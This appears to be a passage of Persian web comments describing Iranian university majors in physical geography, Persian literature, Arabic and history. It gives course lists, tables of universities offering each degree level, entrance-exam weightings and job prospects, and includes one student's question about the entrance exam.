    بین ژئومورفولوژی و سایر علوم ازجمله خاک شناسی ، هیدرولوژی و اکولوژی و آب و هوا شناسایی روابط بسیار نزدیک وجود دارد. زیرا عوامل این قبیل علوم بیشتر در سطح زمین موثرند. به علاوه مطالعات ژئومورفولوژی یک ناحیه با دانستن اطلاعات حاصله از علوم ذکر شده آسانتر می‌گردد.

    ژئومورفولوژی بیشتر به پدیده های سطح زمین توجهدارد یعنی، ریخت یا چهره زمین را مطالعه می کند. به همین دلیل این علم ارتباطنزدیکی با زمین شناسی دارد و تحت تاثیر یافته های علم زمین شناسی است. چرا که ریختیا شکل ظاهری زمین، تبلور اتفاقات درون زمین می باشد. البته زمین شناسی بیشتر بهاعماق و لایه های درونی زمین می پردازد اما ژئومورفولوژی فرآیندهای بیرونی یا سطحیزمین را مطالعه می کند.
    دروس تخصصی گرایش ژئومورفولوژی:
    ژئومورفولوژی مناطق شهری،نقشه ها و نمودارهای ژئومورفولوژی، هیدرولوژی کاربردی، کاربرد ژئومورفولوژی دربرنامه ریزی شهری و منطقه ای، تفسیر نقشه (توپوگرافی و زمین شناسی)، پایاننامه.
    دروس مشترک بین شاخه های جغرافیا:
    جغرافیای آبها، جغرافیای خاکها، جغرافیای زیستی، آبو هوای ایران، ژئومورفولوژی ایران، منابع و مسائل آب ایران، اصول و روشهای برنامهریزی ناحیه ای، مبانی جغرافیای جمعیت، مبانی جغرافیای روستایی، مبانی جغرافیایاقتصادی: کشاورزی، مبانی جغرافیای اقتصادی: صنعت، حمل و نقل و انرژی، جغرافیایسیاسی، مبانی جغرافیای شهری، جغرافیای کوچ نشینی، پژوهش میدانی در جغرافیا ( روشتحقیق عملی)، زمین در فضا، ریاضیات، آمار و احتمالات۱، منابع و مآخذ جغرافیایایران، فلسفه جغرافیا و جغرافیای کاربردی، تاریخ علم جغرافیا، کارتوگرافی(نقشهکشی)، نقشه برداری( نظری و عملی)، نقشه خوانی، روش تحقیق: نظری، اصول سنجش از دور،کاربرد عکسهای هوایی و ماهواره ای در جغرافیا، آمار و احتمالات :۲ کاربرد آمار درجغرافیا، کامپیوتر در جغرافیا، مبانی علم جغرافیا، زمین شناسی برای جغرافیا، مبانیاقلیم شناسی، آب و هوای کرهزمین، مبانی ژئومورفولوژی: ۱
    ساختمانی، مبانی ژئومورفولوژی: ۱ دینامیک.
    دروس اصلی مشترک بین شاخه‏ های جغرافیای طبیعی:
    جغرافیای قاره ها، جغرافیای کوارترنر، زمین شناسی ایران، مسایل جغرافیایی مناطق خشک ایران، حفاظت خاک، جنگل و مرتع و مسایل آن در ایران، جغرافیای ناحیه ای ایران، متون جغرافیای طبیعی به زبان خارجی، جغرافیای انسانی ایران(۱): (جمعیت- اقتصادی)، جغرافیای انسانی ایران (۲): ( شهری – روستایی)، نقشه برداری تکمیلی، مبانی محیط زیست، ژئومورفولوژی اقلیمی، کاربرد جغرافیای طبیعی در برنامه ریزی شهری و منطقه ای، ( با تاکید بر ایران)

  4. جغرافیای طبیعی علمی است که محیط طبیعی و تاثیر عوامل و عناصر محیطی بر زندگی و فعالیت انسانرا مطالعه می کند. این علم در مقطع کارشناسی دارای دو رشته‏ی ژئومورفولوژی و آب و هواشناسی است…
    جغرافیای طبیعی علمی است که محیط طبیعی و تاثیر عوامل و عناصر محیطی بر زندگی و فعالیت انسانرا مطالعه می کند. این علم در مقطع کارشناسی دارای دو رشته‏ی ژئومورفولوژی و آب و هواشناسی است .

    آب و هواشناسی اقلیم
    رشته آب و هواشناسی فرآیندهای حاکم در داخل جو ازجمله انرژی و توزیع آن در سطح سیاره زمین، حرکات جو و قانونمندی های حاکم بر اینحرکات و تاثیر این فعالیت ها بر روی زیست و فعالیت انسان ها، جانداران و محیط بیجان سیاره زمین را مطالعه می کند.
    این گرایش بیشتر مسائل آب و هواو تاثیر عناصر و عوالم اقلیمی در فعالیت انسان و مسائل بهره برداری از زمین مثل کشاورزی مطرح میشود.
    دروس مشترک بین شاخه های جغرافیا:
    جغرافیای آبها، جغرافیای خاکها، جغرافیای زیستی، آبو هوای ایران، ژئومورفولوژی ایران، منابع و مسائل آب ایران، اصول و روشهای برنامه ریزی ناحیه ای، مبانی جغرافیای جمعیت، مبانی جغرافیای روستایی، مبانی جغرافیای اقتصادی: کشاورزی، مبانی جغرافیای اقتصادی: صنعت، حمل و نقل و انرژی، جغرافیای سیاسی، مبانی جغرافیای شهری، جغرافیای کوچ نشینی، پژوهش میدانی در جغرافیا ( روش تحقیق عملی)، زمین در فضا، ریاضیات، آمار و احتمالات۱، منابع و مآخذ جغرافیای ایران، فلسفه جغرافیا و جغرافیای کاربردی، تاریخ علم جغرافیا، کارتوگرافی(نقشه کشی)، نقشه برداری (نظری و عملی)، نقشه خوانی، روش تحقیق: نظری، اصول سنجش از دور، کاربرد عکسهای هوایی و ماهواره ای در جغرافیا، آمار و احتمالات۲: کاربرد آمار درجغرافیا، کامپیوتر در جغرافیا، مبانی علم جغرافیا، زمین شناسی برای جغرافیا، مبانیاقلیم شناسی، آب و هوای کره زمین،
    دروس اصلی مشترک بین گرایشهای جغرافیای طبیعی:
    جغرافیای قاره ها، جغرافیای کوارترنر، زمین شناسی ایران، مسایل جغرافیایی مناطق خشک ایران، حفاظت خاک، جنگل ومرتع و مسایل آن درایران، جغرافیای ناحیه ای ایران، متون جغرافیای طبیعی به زبان خارجی، جغرافیای انسانی ایران (۱): (جمعیت – اقتصادی)، جغرافیای انسانی ایران (۲) : ( شهری – روستایی )نقشه برداری تکمیلی، مبانی محیط زیست، ژئومورفولوژی اقلیمی، کاربردجغرافیای طبیعی در برنامه ریزی شهری و منطقه ای، ( با تاکید بر ایران(.
    دروس پایه و اصلی:
    ریاضیات، سنجشاز راه دور، ژئومورفولوژی ایران، جغرافیای آبهای ایران،منابع و مآخذ جغرافیای ایران، متون جغرافیایی به زبان خارجی، جغرافیای خاکها،جغرافیای نظامی ایران، مبانی جغرافیای سیاسی، فلسفه ی جغرافیا، زمین در فضا، زمینشناسی برای جغرافیا، مبانی آب و هواشناسی، جغرافیای آبها، ژئومورفولوژی عمومی،جغرافیای زیستی، کاربرد آمار در جغرافیا، جغرافیای اقتصاد عمومی، جغرافیای جمعیت،جغرافیای روستایی( عمومی و ایران)، جغرافیای شهری( عمومی و ایران)
    دروس تخصصی:
    آمار و احتمالات، کامپیوتر، فیزیک نور، کلیاتجغرافیای جهان، تئوری خطاها، فتوگرامتری، تفسیر عکس، هیدروگرافی، نقشه برداری،کارتوگرافی ریاضی، کارتوگرافی موضوعی، عکاسی و فن چاپ، گرافیک، اردو نقشه برداریهیدروگرافی، پروژه کارتوگرافی، کارتوگرافی کامپیوتری، جغرافیای خلیج فارس، ژئودزی عمومی، نجوم ژئودزی،کارتوگرافی.

  5. سلام. من سال ۹۴ کنکور دادم رتبه ام هم ۲۵۰۰ بود ولی تصمیم گرفتم که پشت کنکور بمونم و بهتر بخونم تا از تهران قبول شم ولی تنبلی کردم. امسال رتبه ام ۷۰۰۰ شد . استاد میخوام برا سال بعد بخونم ولی ایندفعه جدی. امسال پیام نور قبول شدم ار حسابداری. استاد سوالم از شما این که برا کنکور سال ۹۶ کتاب های رشته ی انسانی تغییر کردن یا نه؟؟؟؟؟

  6. ادبیات فارسی
    مقدمه
    ادبیات آئینه فرهنگ و تمدن یک ملت است و بسیاری از مسائل از قبیل شیوه معیشت، طرز فکر، اندیشه های فلسفی، عقاید و آرای مذهبی و اخلاقی، آداب و رسوم و مانند آنها در آثار ادبی نمایان می شود. انتخاب این رشته با توجه به اینکه قاعده ها و ضوابط زبان مادری را به ما می آموزد به ظاهر معمولی و آسان به نظر می آید اما در واقع لطائف و ظرائفی دارد که در مراحل تخصصی کار را مشکل می کند. در این رشته دو بخش زبان و ادبیات فارسی مورد بررسی قرار می گیرند. قلم و زبان فارسی شامل زبان شناسی، دستور زبان، اصول نگارش و ویرایش و در بخش ادبیات، سبک شناسی ، نقد ادبی، انواع ادبی، تاریخ ادبیات ، بدیع، معانی، بیان، عروض و نیز متون نظم و نثر کلاسیک مورد بررسی قرار می گیرند.
    ضریب دروس دبیرستان درس ریاضی و اقتصاد، تاریخ و جغرافی، علوم اجتماعی و روان شناسی ۱٫ ادبیات فارسی- زبان عربی ۳ و علوم فلسفه و منطق ضریب ۲
    در پایان تکرار این مطلب ضروری است که رشته زبان و ادبیات فارسی با زبان مادری ما یک تفاوت اساسی دارد و آن اینکه تحصیل در رشته ادبیات فارسی فنی و تخصصی است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده * ‌ *
    ۲ آزاد- آزاد شهر * ‌
    ۳ آزاد- اسلامشهر * ‌
    ۴ آزاد- اهر *
    ۵ آزاد- اهواز *
    ۶ آزاد- ایذه * ‌*
    ۷ آزاد- ایرانشهر ‌* ‌
    ۸ آزاد- ایلام * ‌* ‌
    ۹ آزاد- بابل * *
    ۱۰ آزاد- بجنورد *
    ۱۱ آزاد- بردسیر *
    ۱۲ آزاد- بناب * *
    ۱۳ آزاد- بیرجند *
    ۱۴ آزاد- بیضاء *
    ۱۵ آزاد- تبریز * *
    ۱۶ آزاد- تربت حیدریه *
    ۱۷ آزاد- تنکابن *
    ۱۸ آزاد- تهران *
    ۱۹ آزاد- تویسرکان * ‌
    ۲۰ آزاد- جیرفت *
    ۲۱ آزاد- خرم آباد *
    ۲۲ آزاد- خلخال * *
    ۲۳ آزاد- خمینی شهر *
    ۲۴ آزاد- داراب *
    ۲۵ آزاد- دامغان * ‌
    ۲۶ آزاد- دزفول * ‌ ‌
    ۲۷ آزاد- دهاقان * ‌
    ۲۸ آزاد- رامهرمز *
    ۲۹ آزاد- رشت * ‌*
    ۳۰ آزاد- رودهن * ‌
    ۳۱ آزاد- زنجان * *
    ۳۲ آزاد- ساری *
    ۳۳ آزاد- ساوه *
    ۳۴ آزاد- سبزوار *
    ۳۵ آزاد- سراب ‌*
    ۳۶ آزاد- سمنان * ‌
    ۳۷ آزاد- سنندج * *
    ۳۸ آزاد- سیرجان * ‌
    ۳۹ آزاد- شاهرود * ‌
    ۴۰ آزاد- شهرری *
    ۴۱ آزاد- شهرکرد * * ‌
    ۴۲ آزاد- شوشتر ‌*
    ۴۳ آزاد- شیروان * ‌*
    ۴۴ آزاد- طبس *
    ۴۵ آزاد- علی آباد کتول ‌
    ۴۶ آزاد- فردوس * ‌
    ۴۷ آزاد- فسا * ‌*
    ۴۸ آزاد- فیروزآباد * ‌*
    ۴۹ آزاد- قم * ‌
    ۵۰ آزاد- گچساران * ‌* ‌
    ۵۱ آزاد- گرگان * ‌
    ۵۲ آزاد- لاهیجان * ‌
    ۵۳ آزاد- مرند * ‌
    ۵۴ آزاد- مرودشت *
    ۵۵ آزاد- مشهد *
    ۵۶ آزاد- ملایر *
    ۵۷ آزاد- مهاباد * *
    ۵۸ آزاد- میانه *
    ۵۹ آزاد- نجف آباد * *
    ۶۰ آزاد- نوشهر و چالوس * *
    ۶۱ آزاد- نی ریز *
    ۶۲ آزاد- ورامین پیشوا * *
    ۶۳ آزاد- کاشان *
    ۶۴ آزاد- کرج * * ‌
    ۶۵ آزاد- کرمان * ‌ *
    ۶۶ آزاد- کرمانشاه *
    ۶۷ آزاد- یاسوج * ‌
    ۶۸ آزاد- یزد *
    ۶۹ آزاد-آستارا * * ‌
    ۷۰ آزاد-ابهر * ‌
    ۷۱ آزاد-اراک * ‌
    ۷۲ آزاد-اردبیل *
    ۷۳ آزاد-اقلید * *
    ۷۴ آزاد-بروجرد * ‌
    ۷۵ آزاد-بوشهر * * ‌
    ۷۶ آزاد-تاکستان *
    ۷۷ آزاد-خوراسگان * ‌ ‌
    ۷۸ آزاد-زاهدان * ‌ ‌
    ۷۹ آزاد-نیشابور * * ‌
    ۸۰ آزاد-همدان *
    ۸۱ اراک *
    ۸۲ ارومیه *
    ۸۳ الزهرا تهران *
    ۸۴ امام خمینی قزوین *
    ۸۵ ایلام *
    ۸۶ بابلسر *
    ۸۷ بندرعباس ‌*
    ۸۸ بوعلی سینا همدان *
    ۸۹ بیرحند * ‌
    ۹۰ تبریز *
    ۹۱ تربیت معلم سبزوار ‌*
    ۹۲ تهران ‌*
    ۹۳ خرم آباد *
    ۹۴ خوارزمی *
    ۹۵ زابل *
    ۹۶ زاهدان *
    ۹۷ زنجان ‌*
    ۹۸ سمنان * ‌
    ۹۹ شهیدچمران اهواز *
    ۱۰۰ شیراز * ‌
    ۱۰۱ صنعتی اصفهان *
    ۱۰۲ علامه طباطبائی * ‌
    ۱۰۳ قم * ‌
    ۱۰۴ محقق اردبیلی اردبیل *
    ۱۰۵ ولیعصر رفسنجان *
    ۱۰۶ کاشان *
    ۱۰۷ یاسوج *
    ۱۰۸ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با علوم اسلامی ۲ آشنایی با علوم قرآنی
    ۳ ادبیات معاصر ۱ نظم ۴ ادبیات معاصر ۲ نثر
    ۵ انقلاب اسلامی و ریشه‌های آن ۶ انقلاب اسلامی و زمینه‌های ادبی آن
    ۷ انواع ادبی ۸ تاثیر قرآن و حدیث در ادب فارسی
    ۹ تاریخ ادبیات ۱ ۱۰ تاریخ ادبیات ۲
    ۱۱ تاریخ ادبیات ۳ ۱۲ تاریخ اسلام
    ۱۳ تربیت بدنی ۲ ۱۴ روش تحقیق و مرجع شناسی ۲
    ۱۵ زبان خارجی ۱۶ زبان خارجی تخصصی
    ۱۷ سبک شناسی ۱ نظم ۱۸ سبک شناسی ۲ نثر
    ۱۹ عروض و قافیه ۲۰ غزلیات شمس
    ۲۱ قرائت متون عربی ۲۲ قواعد عربی
    ۲۳ مبانی عرفان و تصوف ۲۴ متون اسلامی (آموزش زبان عربی)
    ۲۵ متون تفسیری فارسی ۲۶ متون نثر ۱
    ۲۷ متون نثر ۲ ۲۸ متون نثر ۳
    ۲۹ متون نثر ۴ ۳۰ متون نظم ۱
    ۳۱ متون نظم ۲ ۳۲ متون نظم ۳
    ۳۳ متون نظم ۴ ۳۴ متون نظم ۵
    ۳۵ معارف اسلامی ۱ ۳۶ معارف اسلامی ۲
    ۳۷ معانی و بیان ۱ ۳۸ معانی و بیان ۲
    ۳۹ مقدمات زبان شناسی ۴۰ نثر ۵
    ۴۱ نقد ادبی ۴۲ کلیات فلسفه اسلامی

    صنعت و بازارکار
    اولین جائی که دانشجویان این رشته مشغول به کار می شوند مدارس آموزش و پرورش در همه سطوح ابتدائی، راهنمایی و دبیرستان می باشد، عمده کار آنها ترویج و نشر زبان فارسی است که محل ارائه آن به قشر جوان و در سطح مدارس است که با ادامه تحصیل کار در دانشگاه نیز از جاهائی است که امکان جذب آنها نیز هست البته در سطح کارشناسی می توان جذب نهضت سوادآموزی نیز شد.

  7. مقدمه
    درس عربی در دبیرستان مشکلات خاص خود را طی می‌کند و دانش‌آموزان در قسمت ایجاد انگیزه برای فراگیری آن دچار مشکلات فراوانی هستند. ولی به هرحال وظیفه ما معرفی این رشته برای افرادی است که خود بهتر می‌دانند که چرا دارند این رشته را انتخاب می‌کنند. به اعتقاد نگارنده یادگیری زبان عربی به علت وفور استفاده از کلمات عربی در محاورات روزانه بسیار سهل و آسان است و شاید به این تشابهات کمتر توجه می‌شود.
    از آن طرف همیشه زبان غیر مادری فرّار و زود فراموش است.
    به هر ترتیب وظیفه این رشته آموزش قواعد و دستور زبان عربی برای استفاده از کتاب‌های عربی و گفتگو با اندیشمندان جهان اسلام است.
    علاقه واقعی و حافظه قوی شرط موفقیت است که البته باید دقت شود که علاقه واقعی است یا خیر! در ضمن امکان ادامه تحصیل تا مقطع دکتری در این رشته وجود دارد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آبادان *
    ۲ آزاد- آباده * ‌
    ۳ آزاد- ایلام ‌* ‌
    ۴ آزاد- بابل * ‌
    ۵ آزاد- بیضاء ‌* ‌
    ۶ آزاد- تبریز * ‌
    ۷ آزاد- تهران * ‌
    ۸ آزاد- جیرفت *
    ۹ آزاد- خرمشهر *
    ۱۰ آزاد- رامهرمز *
    ۱۱ آزاد- رشت *
    ۱۲ آزاد- شیراز *
    ۱۳ آزاد- شیروان * ‌
    ۱۴ آزاد- فلاورجان *
    ۱۵ آزاد- قم * ‌
    ۱۶ آزاد- گرمسار * ‌
    ۱۷ آزاد- مهاباد *
    ۱۸ آزاد- نوشهر و چالوس *
    ۱۹ آزاد- کاشمر *
    ۲۰ آزاد- کرج *
    ۲۱ آزاد- کرمانشاه * ‌
    ۲۲ آزاد-بروجرد *
    ۲۳ آزاد-زاهدان ‌* ‌
    ۲۴ اراک *
    ۲۵ الزهرا تهران * ‌
    ۲۶ امام خمینی قزوین ‌*
    ۲۷ بوشهر ‌* ‌
    ۲۸ بوعلی سینا همدان ‌* ‌
    ۲۹ تبریز * ‌
    ۳۰ تربیت معلم سبزوار *
    ۳۱ تهران *
    ۳۲ خوارزمی *
    ۳۳ زابل *
    ۳۴ سنندج * ‌
    ۳۵ شهیدچمران اهواز *
    ۳۶ شیراز *
    ۳۷ صنعتی اصفهان ‌* ‌
    ۳۸ علامه طباطبائی *
    ۳۹ قم *
    ۴۰ کاشان *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آزمایشگاه زبان ۱ ۲ آزمایشگاه زبان ۲
    ۳ آزمایشگاه زبان ۳ ۴ آشنایی با اوضاع معاصر کشورهای
    ۵ اخلاق و تربیت اسلامی ۱ و ۲ ۶ ادب متعهد اهل بیت علیه‌السلام
    ۷ اصول مشاوره و راهنمایی ۸ انشا ۱
    ۹ انشا ۲ ۱۰ انشا ۳
    ۱۱ بررسی مجلات و روزنامه‌های عربی ۱۲ تاریخ ادبیات از جاهلی تا پایان اموی
    ۱۳ تاریخ ادبیات از سقوط بغداد تا عصر حاضر ۱۴ تاریخ ادبیات دورۀ عباسی اول
    ۱۵ تاریخ ادبیات دورۀ عباسی دوم ۱۶ تاریخ ادبیات دورۀ معاصر ۱
    ۱۷ تاریخ ادبیات دورۀ معاصر ۲ ۱۸ تاریخ ادبیات معاصر
    ۱۹ تاریخ اسلام ۲۰ تاریخ فلسفه از ارسطو تا افلاطون
    ۲۱ تاریخ فلسفه یونان تا افلاطون ۲۲ ترجمه از عربی به فارسی و بالعکس ۲
    ۲۳ تمرین دبیری ۲۴ تمرین صرف و نحو ۲
    ۲۵ تمرین صرف و نحو دبیری ۲۶ روانشناسی عمومی ۱
    ۲۷ روانشناسی عمومی ۲ ۲۸ روانشناسی کودک و نوجوان
    ۲۹ روزنامه‌ها و مجله‌های عربی ۳۰ روش تحقیق و ماخذشناسی
    ۳۱ روش تدریس اختصاصی ۳۲ روش تدریس زبان عربی
    ۳۳ روشهای تدریس کلیات ۳۴ زبان پیش دانشگاهی ۲ باستانشنای
    ۳۵ زبان خارجه تخصصی ۲ ۳۶ زبان خارجی
    ۳۷ زبان فارسی ۳۸ صرف
    ۳۹ صرف ۱ ۴۰ صرف ۲
    ۴۱ علم کلام ۴۲ علم کلام ۱
    ۴۳ علوم بلاغی ۱ معانی بیان دبیری ۴۴ علوم بلاغی ۲ عروض و قافیه و بدیع
    ۴۵ علوم قرآنی ۴۶ فقه اللفه
    ۴۷ فن ترجمه ۴۸ قرائت و ترجمه و تجوید قرآن کریم
    ۴۹ مبانی برنامه‌ریزی آموزش متوسطه ۵۰ متون حدیث
    ۵۱ متون نظم و نثر از آغاز تا سقوط بغداد ۵۲ متون نظم و نثر از دوره جاهلی تا پایان
    ۵۳ متون نظم و نثر از سقوط بغداد تا عصر حاضر ۵۴ متون نظم و نثر دورۀ عباسی اول
    ۵۵ متون نظم و نثر دورۀ عباسی دوم ۵۶ مکالمه ۱
    ۵۷ مکالمه ۲ ۵۸ مکالمه ۳
    ۵۹ نحو ۶۰ نحو ۱
    ۶۱ نحو ۲ ۶۲ نظم و نثر عربی در ایران از آغاز تا سقوط
    ۶۳ نظم و نثر عربی در ایران از سقوط بغداد ۶۴ نقد ادبی

    صنعت و بازارکار
    رشته زبان عربی در دروس پایه و اصلی خود توانایی شما را برای کار در این مراکز فراهم می سازد :
    تدریس در مدارس ،
    تدریس خصوصی ،
    ویراستاری کتاب های عربی ،
    اخبار عربی و مقالات

  8. مقدمه
    تاریخ را می‌توان مطالعه حیات اجتماعی انسان در زمان، همراه با تحلیل برای نوسازی اکنون و معرفت و آگاهی نسبت به آینده تعریف کرد.
    آموزش تاریخ به مفهوم شناخت و احوال و سرگذشت جوامع، اقوام و ملتهای جهان بر اساس متون، مدارک، اسناد، اخبار، آثارتاریخی و بررسی آنها با روشهای علمی است. آنچه ضرورت مطالعه و آموزش تاریخ را در کشورمان ایجاب می‌کند، مطالعات و پژوهشهای نو و بازشناسی ارزشهای مادی و معنوی در ایران و اسلام از آغاز تا کنون و با الهام از انقلاب اسلامی و جهان بینی منبعث از آن است.
    تاریخ باید رسالت خود را در تغییر زیر بنایی و بنیادی بر پایه مطالعه مواریث ارزشمند جامعه ایرانی و اسلامی و نیز تاریخ جهان به انجام رساند و با تقویت حس کنجکاوی، دقت علمی و علاقه و تفکر و ابداع و خلاقیت، گذشته را همچون چراغی فراسوی نسل کنونی بیفروزد تا در پرتو آن با استفاده از تجارب تاریخی در زمینه‌های فرهنگی، سیاسی، اجتماعی و اقتصادی به آنچه برای پیشرفت و تکامل این سرزمین اسلامی ضروری است، دست یابد.
    از آنجا که کشورمان در زمینه‌های گوناگون فرهنگی، اقتصادی، اجتمعای و سیاسی نیازمند تربیت عالمان و محققان در این زمینه است و با نظر به اینکه دانشگاهها، مرکز آموزش و پرورش متخصصان در رشته‌های گوناگون علمی و از جمله تاریخ بشمار می‌رود، از این رو ضروری و شایسته است که برنامه‌ریزی تاریخ، متناسب با نیازهای جامعه و پا به پای تحولات علمی در سطح جهان، در خدمت رفع نیازهای علمی و اجرایی کشور قرار گیرد و مقدمات رشد و شکوفایی و پیدایش عالمان و محققان بزرگ در این رشته از علوم انسانی را در سطح جهان فراهم سازد.
    ضرایب دروس دبیرستانی مربوط به این رشته در ازمون ورودی دانشگاهها و موسسات آموزش عالی عبارتند از: ضریب ۲ برای درس ریاضی، ضریب ۲ برای درس اقتصاد، ضریب ۲ برای درس ادبیات فارسی، ضریب ۱ برای درس زبان عربی، ضریب ۳ برای درس تاریخ و جغرافی، ضریب ۱ برای درس علوم اجتماعی، ضریب ۲ برای درس فلسفه و منطق و ضریب ۲ برای در روانشناسی.
    علاقه به تحقیق و مطالعه پیرامون مسائل تاریخی و داشتن حافظه قوی و همچنین داشتن قدرت بیان خوب جهت گرایش دبیری از عوامل موفقیت در این رشته است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- بافت *
    ۳ آزاد- بجنورد *
    ۴ آزاد- تنکابن *
    ۵ آزاد- داراب * ‌
    ۶ زاد- شاهرود ‌* ‌
    ۷ آزاد- شبستر * ‌
    ۸ آزاد- شهر بابک * ‌
    ۹ آزاد- شهرری *
    ۱۰ آزاد- شوشتر ‌* ‌
    ۱۱ آزاد- محلات ‌* ‌
    ۱۲ آزاد- نجف آباد *
    ۱۳ آزاد- نور *
    ۱۴ آزاد-ابهر ‌*
    ۱۵ اراک ‌* ‌
    ۱۶ ارومیه * ‌
    ۱۷ الزهرا تهران *
    ۱۸ امام خمینی قزوین *
    ۱۹ بیرحند *
    ۲۰ تبریز ‌*
    ۲۱ تهران * ‌
    ۲۲ خرم آباد * ‌
    ۲۳ خوارزمی ‌* ‌
    ۲۴ زاهدان ‌* ‌
    ۲۵ شهیدچمران اهواز ‌* ‌
    ۲۶ صنعتی اصفهان *
    ۲۷ یزد * ‌

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با خطوط و زبان ایران پیش از ۲ اصول و فلسفه آموزش و پرورش
    ۳ اصول و فنون مشاوره و راهنمایی ۴ اقتصاد سیاسی
    ۵ انقلاب اسلامی و ریشه‌های آن ۶ انقلاب اسلامی و ریشه‌های تاریخی آن
    ۷ انقلاب مشروطیت و تحولات سیاسی ۸ ایران پیش از تاریخ
    ۹ تاریخ آفریقا ۱۰ تاریخ احزاب و مطبوعات ایران در دوره قاجار
    ۱۱ تاریخ اروپا از انقلاب فرانسه ۱۲ تاریخ اروپا از جنگ جهانی اول تا کنون
    ۱۳ تاریخ اروپا در قرون جدید ۱۴ تاریخ اروپا در قرون وسطی
    ۱۵ تاریخ استعمار غرب و رشد سرمایه‌دار ۱۶ تاریخ اسلام
    ۱۷ تاریخ اسلام از میلاد پیامر اکرم ۱۸ تاریخ اسلام در آسیای میانه
    ۱۹ تاریخ اسلام در حوزه اقیانوس هند ۲۰ تاریخ اسلام در ممالک قفقاز
    ۲۱ تاریخ اندیشه‌ها و مکاتب سیاسی ۲۲ تاریخ اندیشه‌های اقتصادی
    ۲۳ تاریخ اندیشه‌های سیاسی در ایران ۲۴ تاریخ ایران از ایلامی‌ها و آریایی‌ها
    ۲۵ تاریخ ایران در دورۀ ساسانیان ۲۶ تاریخ ایران در دورۀ سلوکی و اشکانی
    ۲۷ تاریخ بالکان با تکیه بر گسترش اسلام ۲۸ تاریخ بیزانس
    ۲۹ تاریخ پیامبران ۳۰ تاریخ تحلیلی زندگانی ائمه معصومین علیه‌السلام
    ۳۱ تاریخ تحولات سیاسی … ایران از آغاز ۳۲ تاریخ تحولات سیاسی … ایران از زوال ایلخانان تا
    ۳۳ تاریخ تحولات سیاسی … ایران در ۳۴ تاریخ تحولات سیاسی … ایران در دورۀ حمله مغول
    ۳۵ تاریخ تحولات سیاسی ایران سامانی ۳۶ تاریخ تحولات سیاسی … ایران در دورۀ سلجوقیان
    ۳۷ تاریخ تحولات سیاسی … ایران غوریان ۳۸ تاریخ تحولات سیاسی … در دورۀ صفویان
    ۳۹ تاریخ تحولات سیاسی … صفویان ۴۰ تاریخ تحولات سیاسی… جهان اسلام از سال
    ۴۱ تاریخ تحولات سیاسی، اجتماعی، اقتصادی و ۴۲ تاریخ تحولات سیاسی، اجتماعی، اقتصادی، فرهنگی
    ۴۳ تاریخ تشیع ۱ (از آغاز قرن تا پنجم هجری) ۴۴ تاریخ تشیع ۲ ( قرن پنجم هجری تا قرن دهم هجری)
    ۴۵ تاریخ تفکر سیاسی در دوره قاجار ۴۶ تاریخ تمدنهای مشرق زیمن
    ۴۷ تاریخ چین و ژاپن ۴۸ تاریخ خلیج فارس و سرزمینهای همجوار
    ۴۹ تاریخ دیپلماسی ایران ۵۰ تاریخ روسیه و اتحاد شوروی تا فروپاشی آن
    ۵۱ تاریخ سلسله‌های شرقی ایران (پیشدادیان کیانیان) ۵۲ تاریخ شبه قاره هند
    ۵۳ تاریخ عثمانی و خاورمیانه ۵۴ تاریخ عرفان و تصوف در ایران و اسلام
    ۵۵ تاریخ فرهنگ و تمدن اسلامی ۵۶ تاریخ فرهنگ و تمدن ایران
    ۵۷ تاریخ قاره آمریکا ۵۸ تاریخ گسترش اسلام در افریقا و اروپا از آغاز سقوط
    ۵۹ تاریخ محلی ۶۰ تاریخ نفت در ایران و خاورمیانه
    ۶۱ تاریخ نگاری و تحولات آن در ایران و جهان ۶۲ تاریخ نهضت‌ها و جنبش‌های اسلامی جهان
    ۶۳ تاریخ هنر و معماری اسلامی ۶۴ تاریخ یونان و رم
    ۶۵ تربیت بدنی ۲ ۶۶ تمرین دبیری ۱
    ۶۷ تمرین دبیری ۲ ۶۸ تولید و کاربرد مواد آموزشی
    ۶۹ جامعه شناسی تاریخی ۷۰ جغرافیای انسانی
    ۷۱ جغرافیای تاریخی سرزمینهای اسلامی ۷۲ خلفای فاطمی مصر و حمدانیان
    ۷۳ روانشناسی اجتماعی ۷۴ روانشناسی تربیتی
    ۷۵ روش تحقیق در تاریخ ۷۶ روشها و فنون تدریس (کلیات)
    ۷۷ ریشه‌های تاریخی توسعه نیافتگی در ایران ۷۸ زبان خارجی
    ۷۹ سنجش و اندازه‌گیری ۸۰ شناخت و نقد مبانی و ماخذ ایران بعد از اسلام
    ۸۱ شناخت و نقد منابع و ماخذ تاریخ ایران پیش از اسلام ۸۲ فارسی
    ۸۳ فرهنگ و تمدن ایران در دورۀ صفوی ۸۴ فلسفه تاریخ
    ۸۵ قرائت متون تاریخی به زبان خارجی ۱ ۸۶ قرائت متون تاریخی به زبان خارجی ۲
    ۸۷ قرائت متون تاریخی به زبان عربی ۱ ۸۸ قرائت متون تاریخی به زبان فارسی ۱
    ۸۹ قرائت متون تاریخی به زبان فارسی ۲ ۹۰ قرائت و ترجمه متون تاریخی به زبان عربی ۲
    ۹۱ قوم شناسی و مردم شناسی تاریخی ایران ۹۲ قیام کربلا و نقش آن در نهضت‌های شیعی
    ۹۳ گاهشماری و تقویم ۹۴ مبانی برنامه‌ریزی آموزش متوسطه
    ۹۵ مبانی تاریخ اجتماعی ایران ۹۶ مبانی تکوین و تحول تمدنهای جهان
    ۹۷ مبانی جامعه‌شناسی ۹۸ مبانی حکومت و ساخت قدرت در تاریخ ایران
    ۹۹ مبانی علم اقتصاد ۱۰۰ مبانی علم سیاست
    ۱۰۱ متون اسلامی ۱۰۲ مدیریت آموزشی
    ۱۰۳ معارف اسلامی ۲ ۱۰۴ نهضت روحانیت در دو سده اخیر ایران
    ۱۰۵ نهضت فلسطین ۱۰۶ کلیات جغرافیا (با تکیه بر جغرافیای ایران)
    ۱۰۷ کلیات و مبانی علم تاریخ

    صنعت و بازارکار
